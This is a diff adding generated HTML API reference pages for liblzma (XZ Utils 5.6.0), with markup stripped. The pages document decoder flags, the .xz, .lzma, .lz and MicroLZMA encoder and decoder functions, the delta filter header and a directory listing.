This flag doesn't affect the memory usage requirements of the decoder (at least not significantly). The memory usage of the encoder may be increased a little but only at the lowest preset levels (0-3).

+ +
+
+ +

◆ LZMA_TELL_NO_CHECK

+ +
+
+ + + + +
#define LZMA_TELL_NO_CHECK   UINT32_C(0x01)
+
+

This flag makes lzma_code() return LZMA_NO_CHECK if the input stream being decoded has no integrity check. Note that when used with lzma_auto_decoder(), all .lzma files will trigger LZMA_NO_CHECK if LZMA_TELL_NO_CHECK is used.

+ +
+
+ +

◆ LZMA_TELL_UNSUPPORTED_CHECK

+ +
+
+ + + + +
#define LZMA_TELL_UNSUPPORTED_CHECK   UINT32_C(0x02)
+
+

This flag makes lzma_code() return LZMA_UNSUPPORTED_CHECK if the input stream has an integrity check, but the type of the integrity check is not supported by this liblzma version or build. Such files can still be decoded, but the integrity check cannot be verified.

+ +
+
+ +

◆ LZMA_TELL_ANY_CHECK

+ +
+
+ + + + +
#define LZMA_TELL_ANY_CHECK   UINT32_C(0x04)
+
+

This flag makes lzma_code() return LZMA_GET_CHECK as soon as the type of the integrity check is known. The type can then be got with lzma_get_check().

+ +
+
+ +

◆ LZMA_IGNORE_CHECK

+ +
+
+ + + + +
#define LZMA_IGNORE_CHECK   UINT32_C(0x10)
+
+

This flag makes lzma_code() not calculate and verify the integrity check of the compressed data in .xz files. This means that invalid integrity check values won't be detected and LZMA_DATA_ERROR won't be returned in such cases.

+

This flag only affects the checks of the compressed data itself; the CRC32 values in the .xz headers will still be verified normally.

+

Don't use this flag unless you know what you are doing. Possible reasons to use this flag:

+
    +
  • Trying to recover data from a corrupt .xz file.
  • +
  • Speeding up decompression, which matters mostly with SHA-256 or with files that have compressed extremely well. It's recommended to not use this flag for this purpose unless the file integrity is verified externally in some other way.
  • +
+

Support for this flag was added in liblzma 5.1.4beta.

+ +
+
+ +

◆ LZMA_CONCATENATED

+ +
+
+ + + + +
#define LZMA_CONCATENATED   UINT32_C(0x08)
+
+

This flag enables decoding of concatenated files with file formats that allow concatenating compressed files as is. From the formats currently supported by liblzma, only the .xz and .lz formats allow concatenated files. Concatenated files are not allowed with the legacy .lzma format.

+

This flag also affects the usage of the 'action' argument for lzma_code(). When LZMA_CONCATENATED is used, lzma_code() won't return LZMA_STREAM_END unless LZMA_FINISH is used as 'action'. Thus, the application has to set LZMA_FINISH in the same way as it does when encoding.

+

If LZMA_CONCATENATED is not used, the decoders still accept LZMA_FINISH as 'action' for lzma_code(), but the usage of LZMA_FINISH isn't required.

+ +
+
+ +

◆ LZMA_FAIL_FAST

+ +
+
+ + + + +
#define LZMA_FAIL_FAST   UINT32_C(0x20)
+
+

This flag makes the threaded decoder report errors (like LZMA_DATA_ERROR) as soon as they are detected. This saves time when the application has no interest in a partially decompressed truncated or corrupt file. Note that due to timing randomness, if the same truncated or corrupt input is decompressed multiple times with this flag, a different amount of output may be produced by different runs, and even the error code might vary.

+

When using LZMA_FAIL_FAST, it is recommended to use LZMA_FINISH to tell the decoder when no more input will be coming because it can help fast detection and reporting of truncated files. Note that in this situation truncated files might be diagnosed with LZMA_DATA_ERROR instead of LZMA_OK or LZMA_BUF_ERROR!

+

Without this flag the threaded decoder will provide as much output as possible at first and then report the pending error. This default behavior matches the single-threaded decoder and provides repeatable behavior with truncated or corrupt input. There are a few special cases where the behavior can still differ like memory allocation failures (LZMA_MEM_ERROR).

+

Single-threaded decoders currently ignore this flag.

+

Support for this flag was added in liblzma 5.3.3alpha. Note that in older versions this flag isn't supported (LZMA_OPTIONS_ERROR) even by functions that ignore this flag in newer liblzma versions.

+ +
+
+

Function Documentation

+ +

◆ lzma_easy_encoder_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_easy_encoder_memusage (uint32_t preset)
+
+ +

Calculate approximate memory usage of easy encoder.

+

This function is a wrapper for lzma_raw_encoder_memusage().

+
Parameters
+ + +
presetCompression preset (level and possible flags)
+
+
+
Returns
Number of bytes of memory required for the given preset when encoding or UINT64_MAX on error.
+ +
+
+ +

◆ lzma_easy_decoder_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_easy_decoder_memusage (uint32_t preset)
+
+ +

Calculate approximate decoder memory usage of a preset.

+

This function is a wrapper for lzma_raw_decoder_memusage().

+
Parameters
+ + +
presetCompression preset (level and possible flags)
+
+
+
Returns
Number of bytes of memory required to decompress a file that was compressed using the given preset or UINT64_MAX on error.
+ +
+
+ +

◆ lzma_easy_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_easy_encoder (lzma_streamstrm,
uint32_t preset,
lzma_check check 
)
+
+ +

Initialize .xz Stream encoder using a preset number.

+

This function is intended for those who just want to use the basic features of liblzma (that is, most developers out there).

+

If initialization fails (return value is not LZMA_OK), all the memory allocated for *strm by liblzma is always freed. Thus, there is no need to call lzma_end() after failed initialization.

+

If initialization succeeds, use lzma_code() to do the actual encoding. Valid values for 'action' (the second argument of lzma_code()) are LZMA_RUN, LZMA_SYNC_FLUSH, LZMA_FULL_FLUSH, and LZMA_FINISH. In future, there may be compression levels or flags that don't support LZMA_SYNC_FLUSH.

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
presetCompression preset to use. A preset consist of level number and zero or more flags. Usually flags aren't used, so preset is simply a number [0, 9] which match the options -0 ... -9 of the xz command line tool. Additional flags can be be set using bitwise-or with the preset level number, e.g. 6 | LZMA_PRESET_EXTREME.
checkIntegrity check type to use. See check.h for available checks. The xz command line tool defaults to LZMA_CHECK_CRC64, which is a good choice if you are unsure. LZMA_CHECK_CRC32 is good too as long as the uncompressed file is not many gigabytes.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization succeeded. Use lzma_code() to encode your data.
  • +
  • LZMA_MEM_ERROR: Memory allocation failed.
  • +
  • LZMA_OPTIONS_ERROR: The given compression preset is not supported by this build of liblzma.
  • +
  • LZMA_UNSUPPORTED_CHECK: The given check type is not supported by this liblzma build.
  • +
  • LZMA_PROG_ERROR: One or more of the parameters have values that will never be valid. For example, strm == NULL.
  • +
+
+ +
+
+ +

◆ lzma_easy_buffer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_easy_buffer_encode (uint32_t preset,
lzma_check check,
const lzma_allocatorallocator,
const uint8_t * in,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Stream encoding using a preset number.

+

The maximum required output buffer size can be calculated with lzma_stream_buffer_bound().

+
Parameters
+ + + + + + + + + +
presetCompression preset to use. See the description in lzma_easy_encoder().
checkType of the integrity check to calculate from uncompressed data.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_sizeSize of the input buffer
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_stream_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_encoder (lzma_streamstrm,
const lzma_filterfilters,
lzma_check check 
)
+
+ +

Initialize .xz Stream encoder using a custom filter chain.

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN. See filters.h for more information.
checkType of the integrity check to calculate from uncompressed data.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization was successful.
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_stream_encoder_mt_memusage()

+ +
+
+ + + + + + + + +
uint64_t lzma_stream_encoder_mt_memusage (const lzma_mtoptions)
+
+ +

Calculate approximate memory usage of multithreaded .xz encoder.

+

Since doing the encoding in threaded mode doesn't affect the memory requirements of single-threaded decompressor, you can use lzma_easy_decoder_memusage(options->preset) or lzma_raw_decoder_memusage(options->filters) to calculate the decompressor memory requirements.

+
Parameters
+ + +
optionsCompression options
+
+
+
Returns
Number of bytes of memory required for encoding with the given options. If an error occurs, for example due to unsupported preset or filter chain, UINT64_MAX is returned.
+ +
+
+ +

◆ lzma_stream_encoder_mt()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_encoder_mt (lzma_streamstrm,
const lzma_mtoptions 
)
+
+ +

Initialize multithreaded .xz Stream encoder.

+

This provides the functionality of lzma_easy_encoder() and lzma_stream_encoder() as a single function for multithreaded use.

+

The supported actions for lzma_code() are LZMA_RUN, LZMA_FULL_FLUSH, LZMA_FULL_BARRIER, and LZMA_FINISH. Support for LZMA_SYNC_FLUSH might be added in the future.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
optionsPointer to multithreaded compression options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_mt_block_size()

+ +
+
+ + + + + + + + +
uint64_t lzma_mt_block_size (const lzma_filterfilters)
+
+ +

Calculate recommended Block size for multithreaded .xz encoder.

+

This calculates a recommended Block size for multithreaded encoding given a filter chain. This is used internally by lzma_stream_encoder_mt() to determine the Block size if the block_size member is not set to the special value of 0 in the lzma_mt options struct.

+

If one wishes to change the filters between Blocks, this function is helpful to set the block_size member of the lzma_mt struct before calling lzma_stream_encoder_mt(). Since the block_size member represents the maximum possible Block size for the multithreaded .xz encoder, one can use this function to find the maximum recommended Block size based on all planned filter chains. Otherwise, the multithreaded encoder will base its maximum Block size on the first filter chain used (if the block_size member is not set), which may unnecessarily limit the Block size for a later filter chain.

+
Parameters
+ + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN.
+
+
+
Returns
Recommended Block size in bytes, or UINT64_MAX if an error occurred.
+ +
+
+ +

◆ lzma_alone_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_alone_encoder (lzma_streamstrm,
const lzma_options_lzmaoptions 
)
+
+ +

Initialize .lzma encoder (legacy file format)

+

The .lzma format is sometimes called the LZMA_Alone format, which is the reason for the name of this function. The .lzma format supports only the LZMA1 filter. There is no support for integrity checks like CRC32.

+

Use this function if and only if you need to create files readable by legacy LZMA tools such as LZMA Utils 4.32.x. Moving to the .xz format is strongly recommended.

+

The valid action values for lzma_code() are LZMA_RUN and LZMA_FINISH. No kind of flushing is supported, because the file format doesn't make it possible.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
optionsPointer to encoder options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_stream_buffer_bound()

+ +
+
+ + + + + + + + +
size_t lzma_stream_buffer_bound (size_t uncompressed_size)
+
+ +

Calculate output buffer size for single-call Stream encoder.

+

When trying to compress incompressible data, the encoded size will be slightly bigger than the input data. This function calculates how much output buffer space is required to be sure that lzma_stream_buffer_encode() doesn't return LZMA_BUF_ERROR.

+

The calculated value is not exact, but it is guaranteed to be big enough. The actual maximum output space required may be slightly smaller (up to about 100 bytes). This should not be a problem in practice.

+

If the calculated maximum size doesn't fit into size_t or would make the Stream grow past LZMA_VLI_MAX (which should never happen in practice), zero is returned to indicate the error.

+
Note
The limit calculated by this function applies only to single-call encoding. Multi-call encoding may (and probably will) have larger maximum expansion when encoding incompressible data. Currently there is no function to calculate the maximum expansion of multi-call encoding.
+
Parameters
+ + +
uncompressed_sizeSize in bytes of the uncompressed input data
+
+
+
Returns
Maximum number of bytes needed to store the compressed data.
+ +
+
+ +

◆ lzma_stream_buffer_encode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_buffer_encode (lzma_filterfilters,
lzma_check check,
const lzma_allocatorallocator,
const uint8_t * in,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Stream encoder.

+
Parameters
+ + + + + + + + + +
filtersArray of filters terminated with .id == LZMA_VLI_UNKNOWN. See filters.h for more information.
checkType of the integrity check to calculate from uncompressed data.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_sizeSize of the input buffer
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if encoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Encoding was successful.
  • +
  • LZMA_BUF_ERROR: Not enough output buffer space.
  • +
  • LZMA_UNSUPPORTED_CHECK
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_microlzma_encoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_microlzma_encoder (lzma_streamstrm,
const lzma_options_lzmaoptions 
)
+
+ +

MicroLZMA encoder.

+

The MicroLZMA format is a raw LZMA stream whose first byte (always 0x00) has been replaced with bitwise-negation of the LZMA properties (lc/lp/pb). This encoding ensures that the first byte of MicroLZMA stream is never 0x00. There is no end of payload marker and thus the uncompressed size must be stored separately. For the best error detection the dictionary size should be stored separately as well but alternatively one may use the uncompressed size as the dictionary size when decoding.

+

With the MicroLZMA encoder, lzma_code() behaves slightly unusually. The action argument must be LZMA_FINISH and the return value will never be LZMA_OK. Thus the encoding is always done with a single lzma_code() after the initialization. The benefit of the combination of initialization function and lzma_code() is that memory allocations can be re-used for better performance.

+

lzma_code() will try to encode as much input as is possible to fit into the given output buffer. If not all input can be encoded, the stream will be finished without encoding all the input. The caller must check both input and output buffer usage after lzma_code() (total_in and total_out in lzma_stream can be convenient). Often lzma_code() can fill the output buffer completely if there is a lot of input, but sometimes a few bytes may remain unused because the next LZMA symbol would require more space.

+

lzma_stream.avail_out must be at least 6. Otherwise LZMA_PROG_ERROR will be returned.

+

The LZMA dictionary should be reasonably low to speed up the encoder re-initialization. A good value is bigger than the resulting uncompressed size of most of the output chunks. For example, if output size is 4 KiB, dictionary size of 32 KiB or 64 KiB is good. If the data compresses extremely well, even 128 KiB may be useful.

+

The MicroLZMA format and this encoder variant were made with the EROFS file system in mind. This format may be convenient in other embedded uses too where many small streams are needed. XZ Embedded includes a decoder for this format.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
optionsPointer to encoder options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_STREAM_END: All good. Check the amounts of input used and output produced. Store the amount of input used (uncompressed size) as it needs to be known to decompress the data.
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR: In addition to the generic reasons for this error code, this may also be returned if there isn't enough output space (6 bytes) to create a valid MicroLZMA stream.
  • +
+
+ +
+
+ +

◆ lzma_stream_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_decoder (lzma_streamstrm,
uint64_t memlimit,
uint32_t flags 
)
+
+ +

Initialize .xz Stream decoder.

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
memlimitMemory usage limit as bytes. Use UINT64_MAX to effectively disable the limiter. liblzma 5.2.3 and earlier don't allow 0 here and return LZMA_PROG_ERROR; later versions treat 0 as if 1 had been specified.
flagsBitwise-or of zero or more of the decoder flags: LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, LZMA_TELL_ANY_CHECK, LZMA_IGNORE_CHECK, LZMA_CONCATENATED, LZMA_FAIL_FAST
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization was successful.
  • +
  • LZMA_MEM_ERROR: Cannot allocate memory.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported flags
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_stream_decoder_mt()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_decoder_mt (lzma_streamstrm,
const lzma_mtoptions 
)
+
+ +

Initialize multithreaded .xz Stream decoder.

+

The decoder can decode multiple Blocks in parallel. This requires that each Block Header contains the Compressed Size and Uncompressed size fields which are added by the multi-threaded encoder, see lzma_stream_encoder_mt().

+

A Stream with one Block will only utilize one thread. A Stream with multiple Blocks but without size information in Block Headers will be processed in single-threaded mode in the same way as done by lzma_stream_decoder(). Concatenated Streams are processed one Stream at a time; no inter-Stream parallelization is done.

+

This function behaves like lzma_stream_decoder() when options->threads == 1 and options->memlimit_threading <= 1.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
optionsPointer to multithreaded compression options
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization was successful.
  • +
  • LZMA_MEM_ERROR: Cannot allocate memory.
  • +
  • LZMA_MEMLIMIT_ERROR: Memory usage limit was reached.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported flags.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_auto_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_auto_decoder (lzma_streamstrm,
uint64_t memlimit,
uint32_t flags 
)
+
+ +

Decode .xz, .lzma, and .lz (lzip) files with autodetection.

+

This decoder autodetects between the .xz, .lzma, and .lz file formats, and calls lzma_stream_decoder(), lzma_alone_decoder(), or lzma_lzip_decoder() once the type of the input file has been detected.

+

Support for .lz was added in 5.4.0.

+

If the flag LZMA_CONCATENATED is used and the input is a .lzma file: For historical reasons concatenated .lzma files aren't supported. If there is trailing data after one .lzma stream, lzma_code() will return LZMA_DATA_ERROR. (lzma_alone_decoder() doesn't have such a check as it doesn't support any decoder flags. It will return LZMA_STREAM_END after one .lzma stream.)

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
memlimitMemory usage limit as bytes. Use UINT64_MAX to effectively disable the limiter. liblzma 5.2.3 and earlier don't allow 0 here and return LZMA_PROG_ERROR; later versions treat 0 as if 1 had been specified.
flagsBitwise-or of zero or more of the decoder flags: LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, LZMA_TELL_ANY_CHECK, LZMA_IGNORE_CHECK, LZMA_CONCATENATED, LZMA_FAIL_FAST
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization was successful.
  • +
  • LZMA_MEM_ERROR: Cannot allocate memory.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported flags
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_alone_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + +
lzma_ret lzma_alone_decoder (lzma_streamstrm,
uint64_t memlimit 
)
+
+ +

Initialize .lzma decoder (legacy file format)

+

Valid 'action' arguments to lzma_code() are LZMA_RUN and LZMA_FINISH. There is no need to use LZMA_FINISH, but it's allowed because it may simplify certain types of applications.

+
Parameters
+ + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
memlimitMemory usage limit as bytes. Use UINT64_MAX to effectively disable the limiter. liblzma 5.2.3 and earlier don't allow 0 here and return LZMA_PROG_ERROR; later versions treat 0 as if 1 had been specified.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_lzip_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_lzip_decoder (lzma_streamstrm,
uint64_t memlimit,
uint32_t flags 
)
+
+ +

Initialize .lz (lzip) decoder (a foreign file format)

+

This decoder supports the .lz format version 0 and the unextended .lz format version 1:

+
    +
  • Files in the format version 0 were produced by lzip 1.3 and older. Such files aren't common but may be found from file archives as a few source packages were released in this format. People might have old personal files in this format too. Decompression support for the format version 0 was removed in lzip 1.18.
  • +
  • lzip 1.3 added decompression support for .lz format version 1 files. Compression support was added in lzip 1.4. In lzip 1.6 the .lz format version 1 was extended to support the Sync Flush marker. This extension is not supported by liblzma. lzma_code() will return LZMA_DATA_ERROR at the location of the Sync Flush marker. In practice files with the Sync Flush marker are very rare and thus liblzma can decompress almost all .lz files.
  • +
+

Just like with lzma_stream_decoder() for .xz files, LZMA_CONCATENATED should be used when decompressing normal standalone .lz files.

+

The .lz format allows putting non-.lz data at the end of a file after at least one valid .lz member. That is, one can append custom data at the end of a .lz file and the decoder is required to ignore it. In liblzma this is relevant only when LZMA_CONCATENATED is used. In that case lzma_code() will return LZMA_STREAM_END and leave lzma_stream.next_in pointing to the first byte of the non-.lz data. An exception to this is if the first 1-3 bytes of the non-.lz data are identical to the .lz magic bytes (0x4C, 0x5A, 0x49, 0x50; "LZIP" in US-ASCII). In such a case the 1-3 bytes will have been ignored by lzma_code(). If one wishes to locate the non-.lz data reliably, one must ensure that the first byte isn't 0x4C. Actually one should ensure that none of the first four bytes of trailing data are equal to the magic bytes because lzip >= 1.20 requires it by default.

+
Parameters
+ + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
memlimitMemory usage limit as bytes. Use UINT64_MAX to effectively disable the limiter.
flagsBitwise-or of flags, or zero for no flags. All decoder flags listed above are supported although only LZMA_CONCATENATED and (in very rare cases) LZMA_IGNORE_CHECK are actually useful. LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, and LZMA_FAIL_FAST do nothing. LZMA_TELL_ANY_CHECK is supported for consistency only as CRC32 is always used in the .lz format.
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Initialization was successful.
  • +
  • LZMA_MEM_ERROR: Cannot allocate memory.
  • +
  • LZMA_OPTIONS_ERROR: Unsupported flags
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_stream_buffer_decode()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_stream_buffer_decode (uint64_t * memlimit,
uint32_t flags,
const lzma_allocatorallocator,
const uint8_t * in,
size_t * in_pos,
size_t in_size,
uint8_t * out,
size_t * out_pos,
size_t out_size 
)
+
+ +

Single-call .xz Stream decoder.

+
Parameters
+ + + + + + + + + + +
memlimitPointer to how much memory the decoder is allowed to allocate. The value pointed by this pointer is modified if and only if LZMA_MEMLIMIT_ERROR is returned.
flagsBitwise-or of zero or more of the decoder flags: LZMA_TELL_NO_CHECK, LZMA_TELL_UNSUPPORTED_CHECK, LZMA_IGNORE_CHECK, LZMA_CONCATENATED, LZMA_FAIL_FAST. Note that LZMA_TELL_ANY_CHECK is not allowed and will return LZMA_PROG_ERROR.
allocatorlzma_allocator for custom allocator functions. Set to NULL to use malloc() and free().
inBeginning of the input buffer
in_posThe next byte will be read from in[*in_pos]. *in_pos is updated only if decoding succeeds.
in_sizeSize of the input buffer; the first byte that won't be read is in[in_size].
[out]outBeginning of the output buffer
[out]out_posThe next byte will be written to out[*out_pos]. *out_pos is updated only if decoding succeeds.
out_sizeSize of the out buffer; the first byte into which no data is written to is out[out_size].
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK: Decoding was successful.
  • +
  • LZMA_FORMAT_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_DATA_ERROR
  • +
  • LZMA_NO_CHECK: This can be returned only if using the LZMA_TELL_NO_CHECK flag.
  • +
  • LZMA_UNSUPPORTED_CHECK: This can be returned only if using the LZMA_TELL_UNSUPPORTED_CHECK flag.
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_MEMLIMIT_ERROR: Memory usage limit was reached. The minimum required memlimit value was stored to *memlimit.
  • +
  • LZMA_BUF_ERROR: Output buffer was too small.
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+ +

◆ lzma_microlzma_decoder()

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
lzma_ret lzma_microlzma_decoder (lzma_streamstrm,
uint64_t comp_size,
uint64_t uncomp_size,
lzma_bool uncomp_size_is_exact,
uint32_t dict_size 
)
+
+ +

MicroLZMA decoder.

+

See lzma_microlzma_encoder() for more information.

+

The lzma_code() usage with this decoder is completely normal. The special behavior of lzma_code() applies to lzma_microlzma_encoder() only.

+
Parameters
+ + + + + + +
strmPointer to lzma_stream that is at least initialized with LZMA_STREAM_INIT.
comp_sizeCompressed size of the MicroLZMA stream. The caller must somehow know this exactly.
uncomp_sizeUncompressed size of the MicroLZMA stream. If the exact uncompressed size isn't known, this can be set to a value that is at most as big as the exact uncompressed size would be, but then the next argument uncomp_size_is_exact must be false.
uncomp_size_is_exactIf true, uncomp_size must be exactly correct. This will improve error detection at the end of the stream. If the exact uncompressed size isn't known, this must be false. uncomp_size must still be at most as big as the exact uncompressed size is. Setting this to false when the exact size is known will work but error detection at the end of the stream will be weaker.
dict_sizeLZMA dictionary size that was used when compressing the data. It is OK to use a bigger value too but liblzma will then allocate more memory than would actually be required and error detection will be slightly worse. (Note that with the implementation in XZ Embedded it doesn't affect the memory usage if one specifies bigger dictionary than actually required.)
+
+
+
Returns
Possible lzma_ret values:
    +
  • LZMA_OK
  • +
  • LZMA_MEM_ERROR
  • +
  • LZMA_OPTIONS_ERROR
  • +
  • LZMA_PROG_ERROR
  • +
+
+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/delta_8h.html b/doc/api/delta_8h.html new file mode 100644 index 00000000..91b95b57 --- /dev/null +++ b/doc/api/delta_8h.html @@ -0,0 +1,138 @@ + + + + + + + +liblzma (XZ Utils): lzma/delta.h File Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+ +
delta.h File Reference
+
+
+ +

Delta filter. +More...

+ + + + + +

+Data Structures

struct  lzma_options_delta
 Options for the Delta filter. More...
 
+ + + + + + + + + + +

+Macros

#define LZMA_FILTER_DELTA   LZMA_VLI_C(0x03)
 Filter ID.
 
+#define LZMA_DELTA_DIST_MIN   1
 Minimum value for lzma_options_delta.dist.
 
+#define LZMA_DELTA_DIST_MAX   256
 Maximum value for lzma_options_delta.dist.
 
+ + + + +

+Enumerations

enum  lzma_delta_type { LZMA_DELTA_TYPE_BYTE + }
 Type of the delta calculation. More...
 
+

Detailed Description

+

Delta filter.

+
Note
Never include this file directly. Use <lzma.h> instead.
+

Macro Definition Documentation

+ +

◆ LZMA_FILTER_DELTA

+ +
+
+ + + + +
#define LZMA_FILTER_DELTA   LZMA_VLI_C(0x03)
+
+ +

Filter ID.

+

Filter ID of the Delta filter. This is used as lzma_filter.id.

+ +
+
+

Enumeration Type Documentation

+ +

◆ lzma_delta_type

+ +
+
+ + + + +
enum lzma_delta_type
+
+ +

Type of the delta calculation.

+

Currently only byte-wise delta is supported. Other possible types could be, for example, delta of 16/32/64-bit little/big endian integers, but these are not currently planned since byte-wise delta is almost as good.

+ +
+
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

+ + diff --git a/doc/api/dir_b17a1d403082bd69a703ed987cf158fb.html b/doc/api/dir_b17a1d403082bd69a703ed987cf158fb.html new file mode 100644 index 00000000..9585fb2b --- /dev/null +++ b/doc/api/dir_b17a1d403082bd69a703ed987cf158fb.html @@ -0,0 +1,110 @@ + + + + + + + +liblzma (XZ Utils): lzma Directory Reference + + + + + + +
+
+ + + + + + + +
+
liblzma (XZ Utils) 5.6.0 +
+
+
+ + + + + +
+
+
lzma Directory Reference
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Files

 base.h
 Data types and functions used in many places in liblzma API.
 
 bcj.h
 Branch/Call/Jump conversion filters.
 
 block.h
 .xz Block handling
 
 check.h
 Integrity checks.
 
 container.h
 File formats.
 
 delta.h
 Delta filter.
 
 filter.h
 Common filter related types and functions.
 
 hardware.h
 Hardware information.
 
 index.h
 Handling of .xz Index and related information.
 
 index_hash.h
 Validate Index by using a hash function.
 
 lzma12.h
 LZMA1 and LZMA2 filters.
 
 stream_flags.h
 .xz Stream Header and Stream Footer encoder and decoder
 
 version.h
 Version number.
 
 vli.h
 Variable-length integer handling.
 
+
+ +

+ XZ logo © 2023 by Jia Tan is licensed under + + CC BY-SA 4.0 + +

